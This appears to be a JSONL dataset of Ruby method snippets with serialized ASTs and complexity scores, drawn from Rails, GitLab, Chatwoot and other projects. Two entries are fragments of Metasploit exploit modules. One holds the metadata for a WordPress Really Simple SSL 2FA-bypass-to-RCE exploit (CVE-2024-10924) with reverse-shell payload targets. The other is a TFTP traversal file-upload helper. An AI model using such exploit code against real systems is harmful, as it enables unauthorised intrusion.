type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"MissingTranslation\"]}]},{\"type\":\"lvasgn\",\"children\":[\"exception\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"to_exception\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"exception\"]}]}]}]}]},null]}]}]}","id":"5563043f-72f8-4d5b-b48f-51275149fde6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/wp_reallysimplessl_2fa_bypass_rce.rb","start_line":16,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'WordPress Really Simple SSL Plugin Authentication Bypass to RCE',\n        'Description' => %q{\n          This module exploits an authentication bypass vulnerability in the WordPress Really Simple SSL plugin\n          (versions 9.0.0 to 9.1.1.1). The vulnerability allows bypassing two-factor authentication (2FA) and\n          uploading a plugin to achieve remote code execution (RCE). Note: For the system to be vulnerable,\n          2FA must be enabled on the target site; otherwise, the exploit will not work.\n        },\n        'Author' => [\n          'Valentin Lobstein', # Metasploit module\n          'István Márton'      # Vulnerability discovery\n        ],\n        'References' => [\n          ['CVE', '2024-10924'],\n          ['URL', 'https://github.com/RandomRobbieBF/CVE-2024-10924'],\n          ['URL', 'https://www.wordfence.com/threat-intel/vulnerabilities/detail/really-simple-security-free-pro-and-pro-multisite-900-9111-authentication-bypass']\n        ],\n        'License' => MSF_LICENSE,\n        'Privileged' => false,\n        'Platform' => %w[unix linux win php],\n        'Arch' => [ARCH_PHP, ARCH_CMD],\n        'Targets' => [\n          [\n            'PHP In-Memory',\n            {\n              'Platform' => 'php',\n              'Arch' => ARCH_PHP\n              # tested with php/meterpreter/reverse_tcp\n            }\n          ],\n          [\n            'Unix In-Memory',\n            {\n              'Platform' => %w[unix linux],\n              'Arch' => ARCH_CMD\n              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp\n            }\n          ],\n          [\n            'Windows In-Memory',\n            {\n              'Platform' => 'win',\n              'Arch' => ARCH_CMD\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2024-11-14',\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],\n          'Reliability' => [REPEATABLE_SESSION]\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptInt.new('USER_ID', [true, 'The user ID to target for 2FA bypass', 1])\n      ]\n    )\n  end","complexity_score":5.55,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"WordPress Really Simple SSL Plugin Authentication Bypass to RCE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits an authentication bypass vulnerability in the WordPress Really Simple SSL plugin\\n\"]},{\"type\":\"str\",\"children\":[\"          (versions 9.0.0 to 9.1.1.1). The vulnerability allows bypassing two-factor authentication (2FA) and\\n\"]},{\"type\":\"str\",\"children\":[\"          uploading a plugin to achieve remote code execution (RCE). Note: For the system to be vulnerable,\\n\"]},{\"type\":\"str\",\"children\":[\"          2FA must be enabled on the target site; otherwise, the exploit will not work.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Valentin Lobstein\"]},{\"type\":\"str\",\"children\":[\"István Márton\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2024-10924\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/RandomRobbieBF/CVE-2024-10924\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.wordfence.com/threat-intel/vulnerabilities/detail/really-simple-security-free-pro-and-pro-multisite-900-9111-authentication-bypass\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]},{\"type\":\"str\",\"children\":[\"linux\"]},{\"type\":\"str\",\"children\":[\"win\"]},{\"type\":\"str\",\"children\":[\"php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_PHP\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PHP In-Memory\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"php\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PHP\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Unix In-Memory\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows In-Memory\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2024-11-14\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]},{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"USER_ID\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The user ID to target for 2FA bypass\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]}","id":"975a88bc-87e0-4674-a36e-c82279fb049f"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/twilio/delivery_status_controller.rb","start_line":10,"raw_source":"def permitted_params\n    params.permit(\n      :AccountSid,\n      :From,\n      :MessageSid,\n      :MessagingServiceSid,\n      :MessageStatus,\n      :ErrorCode,\n      :ErrorMessage\n    )\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"permitted_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"sym\",\"children\":[\"AccountSid\"]},{\"type\":\"sym\",\"children\":[\"From\"]},{\"type\":\"sym\",\"children\":[\"MessageSid\"]},{\"type\":\"sym\",\"children\":[\"MessagingServiceSid\"]},{\"type\":\"sym\",\"children\":[\"MessageStatus\"]},{\"type\":\"sym\",\"children\":[\"ErrorCode\"]},{\"type\":\"sym\",\"children\":[\"ErrorMessage\"]}]}]}","id":"539b76ad-ffd6-4c9a-8738-30f6c132ee65"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/retry_waiting_job_service.rb","start_line":44,"raw_source":"def job_not_auto_retryable_error\n      ServiceResponse.error(message: 'Job is not auto-retryable', payload: { job: build, reason: :not_auto_retryable })\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"job_not_auto_retryable_error\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Job is not auto-retryable\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"job\"]},{\"type\":\"send\",\"children\":[null,\"build\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reason\"]},{\"type\":\"sym\",\"children\":[\"not_auto_retryable\"]}]}]}]}]}]}]}","id":"dfbc3eec-2a5c-4dfe-9352-e8f0067f9aa9"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/autosave_association_test.rb","start_line":174,"raw_source":"def assert_no_difference_when_adding_callbacks_twice_for(model, association_name)\n      reflection = model.reflect_on_association(association_name)\n      assert_not_nil reflection\n      assert_no_difference \"callbacks_for_model(#{model.name}).length\" do\n        model.send(:add_autosave_association_callbacks, reflection)\n      end\n    end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_no_difference_when_adding_callbacks_twice_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]},{\"type\":\"arg\",\"children\":[\"association_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"reflection\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"reflect_on_association\",{\"type\":\"lvar\",\"children\":[\"association_name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_nil\",{\"type\":\"lvar\",\"children\":[\"reflection\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_difference\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"callbacks_for_model(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\").length\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"send\",{\"type\":\"sym\",\"children\":[\"add_autosave_association_callbacks\"]},{\"type\":\"lvar\",\"children\":[\"reflection\"]}]}]}]}]}","id":"f371d227-3bb0-4031-9df4-12f79398f3cd"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/railtie/configuration.rb","start_line":90,"raw_source":"def respond_to?(name, include_private = false)\n        super || @@options.key?(name.to_sym)\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"respond_to?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"include_private\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@options\"]},\"key?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_sym\"]}]}]}]}","id":"263adf93-8081-4030-8382-67c9e79dd789"}
{"repo_name":"flog","file_path":"./repos/flog/test/test_flog.rb","start_line":269,"raw_source":"def test_process_defn\n    @meth = \"#x\"\n\n    sexp = s(:defn, :x,\n             s(:args, :y),\n             s(:scope,\n               s(:block,\n                 s(:lit, 42))))\n\n    assert_process sexp, 0.275, :magic_number => 0.275\n  end","complexity_score":10.45,"ast_json":"{\"type\":\"def\",\"children\":[\"test_process_defn\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@meth\",{\"type\":\"str\",\"children\":[\"#x\"]}]},{\"type\":\"lvasgn\",\"children\":[\"sexp\",{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"defn\"]},{\"type\":\"sym\",\"children\":[\"x\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"sym\",\"children\":[\"y\"]}]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"block\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"int\",\"children\":[42]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_process\",{\"type\":\"lvar\",\"children\":[\"sexp\"]},{\"type\":\"float\",\"children\":[0.275]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"magic_number\"]},{\"type\":\"float\",\"children\":[0.275]}]}]}]}]}]}","id":"2b309b71-6451-4a03-9dcd-2f55a61ef76b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/shared_examples/lib/email/email_shared_examples.rb","start_line":5,"raw_source":"def stub_email_setting(key_value_pairs)\n  case setting_name\n  when :incoming_email\n    stub_incoming_email_setting(key_value_pairs)\n  when :service_desk_email\n    stub_service_desk_email_setting(key_value_pairs)\n  end\nend","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_email_setting\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key_value_pairs\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"setting_name\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"incoming_email\"]},{\"type\":\"send\",\"children\":[null,\"stub_incoming_email_setting\",{\"type\":\"lvar\",\"children\":[\"key_value_pairs\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_desk_email\"]},{\"type\":\"send\",\"children\":[null,\"stub_service_desk_email_setting\",{\"type\":\"lvar\",\"children\":[\"key_value_pairs\"]}]}]},null]}]}","id":"86ab7ccf-103c-43c7-8788-f74a5da73d86"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb","start_line":61,"raw_source":"def upload(filename, data)\n    tftp_client = Rex::Proto::TFTP::Client.new(\n      \"LocalHost\" => \"0.0.0.0\",\n      \"LocalPort\" => 1025 + rand(0xffff - 1025),\n      \"PeerHost\" => datastore['RHOST'],\n      \"PeerPort\" => datastore['RPORT'],\n      \"LocalFile\" => \"DATA:#{data}\",\n      \"RemoteFile\" => filename,\n      \"Mode\" => \"octet\",\n      \"Context\" => { 'Msf' => self.framework, \"MsfExploit\" => self },\n      \"Action\" => :upload\n    )\n\n    ret = tftp_client.send_write_request { |msg| print_status(msg) }\n    while not tftp_client.complete\n      select(nil, nil, nil, 1)\n      tftp_client.stop\n    end\n  end","complexity_score":24.1,"ast_json":"{\"type\":\"def\",\"children\":[\"upload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]},{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tftp_client\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"TFTP\"]},\"Client\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"LocalHost\"]},{\"type\":\"str\",\"children\":[\"0.0.0.0\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"LocalPort\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1025]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[65535]},\"-\",{\"type\":\"int\",\"children\":[1025]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PeerHost\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RHOST\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PeerPort\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"LocalFile\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"DATA:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RemoteFile\"]},{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Mode\"]},{\"type\":\"str\",\"children\":[\"octet\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Context\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Msf\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"framework\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"MsfExploit\"]},{\"type\":\"self\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Action\"]},{\"type\":\"sym\",\"children\":[\"upload\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ret\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tftp_client\"]},\"send_write_request\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"msg\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tftp_client\"]},\"complete\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"select\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tftp_client\"]},\"stop\"]}]}]}]}]}","id":"b11b7df1-fcac-41cf-9f30-5dc90e607861"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/redis/alfred.rb","start_line":40,"raw_source":"def llen(key)\n      $alfred.with { |conn| conn.llen(key) }\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"llen\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$alfred\"]},\"with\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conn\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"llen\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}","id":"38316358-b44f-4a33-a441-4e34a03f0576"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/icons_helper.rb","start_line":29,"raw_source":"def sprite_icon_path\n    @sprite_icon_path ||= begin\n      # SVG Sprites currently don't work across domains, so in the case of a CDN\n      # we have to set the current path deliberately to prevent addition of asset_host\n      sprite_base_url = Gitlab.config.gitlab.url if ActionController::Base.asset_host\n      ActionController::Base.helpers.image_path('icons.svg', host: sprite_base_url)\n    end\n  end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"sprite_icon_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@sprite_icon_path\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionController\"]},\"Base\"]},\"asset_host\"]},{\"type\":\"lvasgn\",\"children\":[\"sprite_base_url\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"config\"]},\"gitlab\"]},\"url\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionController\"]},\"Base\"]},\"helpers\"]},\"image_path\",{\"type\":\"str\",\"children\":[\"icons.svg\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"sprite_base_url\"]}]}]}]}]}]}]}","id":"90520e57-1771-408b-b93b-8ad2ffb69593"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/admin/applications.rb","start_line":49,"raw_source":"def set_scope(scope)\n          click_element \"#{scope}-label\".to_sym\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"set_scope\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"scope\"]}]},{\"type\":\"send\",\"children\":[null,\"click_element\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]}]},{\"type\":\"str\",\"children\":[\"-label\"]}]},\"to_sym\"]}]}]}","id":"9c7241e8-be7b-4358-85fe-09220ecab356"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/storage_file.rb","start_line":72,"raw_source":"def v_size_numeric\n    size.to_i\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"v_size_numeric\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"size\"]},\"to_i\"]}]}","id":"4ababb3e-1c43-404c-877d-b15208c006b3"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/test_unit/runner.rb","start_line":124,"raw_source":"def regexp_filter?(arg)\n            arg.start_with?(\"/\") && arg.end_with?(\"/\")\n          end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"regexp_filter?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arg\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}","id":"83bfd562-a133-4884-9edc-87ce56fc7caa"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/middleware/server_timing.rb","start_line":58,"raw_source":"def call(env)\n      response = nil\n      events = @subscriber.collect_events do\n        response = @app.call(env)\n      end\n\n      headers = response[1]\n\n      header_info = events.group_by(&:name).map do |event_name, events_collection|\n        \"%s;dur=%.2f\" % [event_name, events_collection.sum(&:duration)]\n      end\n\n      if headers[ActionDispatch::Constants::SERVER_TIMING].present?\n        header_info.prepend(headers[ActionDispatch::Constants::SERVER_TIMING])\n      end\n      headers[ActionDispatch::Constants::SERVER_TIMING] = header_info.join(\", \")\n\n      response\n    end","complexity_score":25.6,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"events\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@subscriber\"]},\"collect_events\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@app\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"headers\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"header_info\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"events\"]},\"group_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event_name\"]},{\"type\":\"arg\",\"children\":[\"events_collection\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"%s;dur=%.2f\"]},\"%\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"events_collection\"]},\"sum\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"duration\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"headers\"]},\"[]\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"Constants\"]},\"SERVER_TIMING\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header_info\"]},\"prepend\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"headers\"]},\"[]\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"Constants\"]},\"SERVER_TIMING\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"headers\"]},\"[]=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"Constants\"]},\"SERVER_TIMING\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header_info\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}","id":"77da441f-9f00-4f77-ae2e-9539cf7d98d1"}
